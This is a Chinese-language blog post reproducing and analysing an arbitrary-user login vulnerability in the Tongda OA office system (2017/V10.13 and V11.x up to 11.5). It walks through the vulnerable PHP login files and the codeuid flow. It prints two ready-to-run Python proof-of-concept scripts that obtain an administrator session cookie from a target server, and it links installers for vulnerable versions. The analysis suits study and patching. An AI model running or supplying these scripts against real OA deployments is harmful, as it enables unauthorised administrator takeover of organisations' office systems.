通达OA前台任意用户登录漏洞复现分析

漏洞概述

通达OA是一套国内常用的办公系统,其此次安全更新修复的高危漏洞为任意用户登录漏洞。攻击者在远程且未经授权的情况下,通过利用此漏洞,可以直接以任意用户身份登录到系统(包括系统管理员)。

影响版本

通达OA 2017

通达OA V11.X<V11.5

环境搭建

exe直接搭,自己指定目录,2017版本,V10.13

漏洞复现

使用poc获取session

 

访问/general/index.php并替换PHPSESSID

就直接成功登陆管理员账户了

 

一些废话

看了下poc,2017的v10版本和v11.x版本再漏洞点上是有区别的。

之前不太了解OA系统,然后源代码是看不了的,打开是乱码,16进制数据头是Zend

百度发现是通过Zend的加密方式,了解了下Zend引擎。

网上找了下解密的,都是太老的了,没用。

噢?在最后看了一些OA代码审计的,找到几个解密的。明天整起来

如果想看下分析的话可以看下Q1ngShan师傅写的

https://www.evi1s.com/archives/194/

 

漏洞分析

2017_第一种

这里就分析下V10.13的

2017 V10.13版本中/logincheck_code.php也存在问题

直接获取POST UID参数,并且没有任何过滤,直接带进SQL语句查询

$query = "SELECT * from USER where UID='$UID'";

分析都是说UID为1是admin,这里进入mysql5目录,查看my.ini获取密码

 

 

进入TO_OA数据库,查询上述语句,查看结果

 

 

确实是admin,管理员用户。接着回到logincheck_code.php 

172行-178行的赋值

$LOGIN_UID = $UID;
$LOGIN_USER_ID = $USER_ID;
$LOGIN_BYNAME = $BYNAME;
$LOGIN_USER_NAME = $USERNAME;
$LOGIN_ANOTHER = "0";
$LOGIN_USER_PRIV_OTHER = $USER_PRIV_OTHER;
$LOGIN_DEPT_ID_JUNIOR = GetUnionSetOfChildDeptId($LOGIN_DEPT_ID . "," . $LOGIN_DEPT_ID_OTHER);
$LOGIN_CLIENT = 0;

都是上面24行开始,sql查询返回的数据

180行-196行,将上述赋值的变量传入SESSION中

也就是当我们在logincheck_code.php中POST传入UID=1

经过logincheck_code.php的SQL查询操作,直接将返回admin认证的SESSION到当前的SESSION中

这时可以带着当前的SESSION到/general/index.php中,直接是admin管理员用户。这个如果看了上Q1ngShan的分析,可以发现11.3也存在这样的问题。11.4中logincheck_code.php增加了验证机制,不够也可以绕过。后面在分析。

poc:

#来自Q1ngShan
import requests
import json

headers={}
def getV11Session(url):
    checkUrl = url+'/general/login_code.php'
    print(checkUrl)
    try:
        headers["User-Agent"] = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)"
        getSessUrl = url+'/logincheck_code.php'
        res = requests.post(
            getSessUrl, data={ 'UID': int(1)},headers=headers)
        print('[+]Get Available COOKIE:'+res.headers['Set-Cookie'])
    except:
        print('[-]Something Wrong With '+url)

if __name__ == "__main__":
    getV11Session("http://xxxxx/")

同样适用于v11.3

2017_第二种

可以看到Space师傅写的2017的poc中并没有用这种方式

 

 

问题在/ispirit/login_code_check.php上

 

 

和上面的根目录中的logincheck_code.php基本是一样的,只不过换了一些参数,还是直接将UID带入sql查询,但是这里UID并不是直接POST,而是需要将获得的codeuid经过一系列操作,然后赋值给UID

也就是说,如果我们get传入合适的codeuid,并且令$code_info[‘uid’]的值为1,呢么经过上面的验证到达SQL查询,然后返回的就是admin的相关参数,传入session中,这时的session认证后就是admin用户了。

这里经过了两个TD:get_cache才能进入的判断,第一个是CODE_LOGIN_PC,第二个是CODE_INFO_PC

 

 

这里我们搜索一下CODE_INFO_PC

在/general/login_code_scan.php中可利用的点

这里我差点搞混了,v10.13和v11.4在logincheck_code上是不一样的。差点搞混了。

到这里后,这里应该是倒数第三步,在这里我们需要输入一个codeuid,经过TD::set_cache后的codeuid就可以用在/ispirt/logincheck_code.php上,然后再写绕过判断写入SESSION,最后拿到的SESSION就是admin用户的了。

这里需要一步,如何拿到codeuid,因为看上文就可以看到,codeuid并不是随便输入的,是有特定的序列的。

我们在/ispirt/login_code.php中可以找到产生一个特定的codeuid

 

 

这一步步其实都是反推来的。

梳理下流程是这样的:

  1. 进入ispirit/login_code.php获取codeuid
  2. 使用获取的codeuid进入general/login_code_scan.php设置type为confirm
  3. 使用codeuid进入ispirit/login_code_check.php

 

 

 

 

 

获得一个唯一的codeuid

经过TD::set_cache处理后的codeuid

admin相关认证数据写入session,带着这个session访问/general/index.php,就是admin管理用户

poc:

#来自Q1ngShan
import json
import requests

def getSession(url):
    vulUrl = url+'/ispirit/login_code.php'
    res = requests.get(vulUrl)
    codeuid = json.loads(res.text)['codeuid']
    print(codeuid)
    confirmUrl = url + '/general/login_code_scan.php'
    data = {
        'codeuid':codeuid,
        'uid': int(1),
        'source': 'pc',
        'type': 'confirm',
        'username': 'admin',
    }

    res = requests.post(confirmUrl,data=data)
    status = json.loads(res.text)['status']
    print(status)
    if status == str(1):
        seesionUrl = url + '/ispirit/login_code_check.php?codeuid='+codeuid
        res = requests.get(seesionUrl)
        print('[*]cookie:'+res.headers['Set-Cookie'])
    else:
        print('[-]failed')


if __name__ == "__main__":
    getSession('http://xxxx/')

同样适用于V11.4

 

环境:

2017 v10.13

链接:https://pan.baidu.com/s/1PyA3PI3BvCvX2fx-4tjagw
提取码:7ac0

v11.4

https://cdndown.tongda2000.com/oa/2019/TDOA11.4.exe

posted @ 2020-05-06 23:43  yunying  阅读(3392)  评论(0编辑  收藏  举报